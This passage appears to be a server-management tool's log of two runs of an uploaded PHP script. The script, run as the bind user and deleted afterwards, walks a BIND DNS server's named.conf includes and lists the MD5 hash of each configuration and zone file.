MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:48:09: Establishing a connection
2026-04-25 18:48:09: 

PUT: /tmp/pkp939513

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:48:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp939513; rm /tmp/pkp939513'

2026-04-25 18:48:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:49:42: Establishing a connection
2026-04-25 18:49:53: Establishing a connection
2026-04-25 18:49:53: 

PUT: /tmp/pkp508328

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:49:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp508328; rm /tmp/pkp508328'

2026-04-25 18:49:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
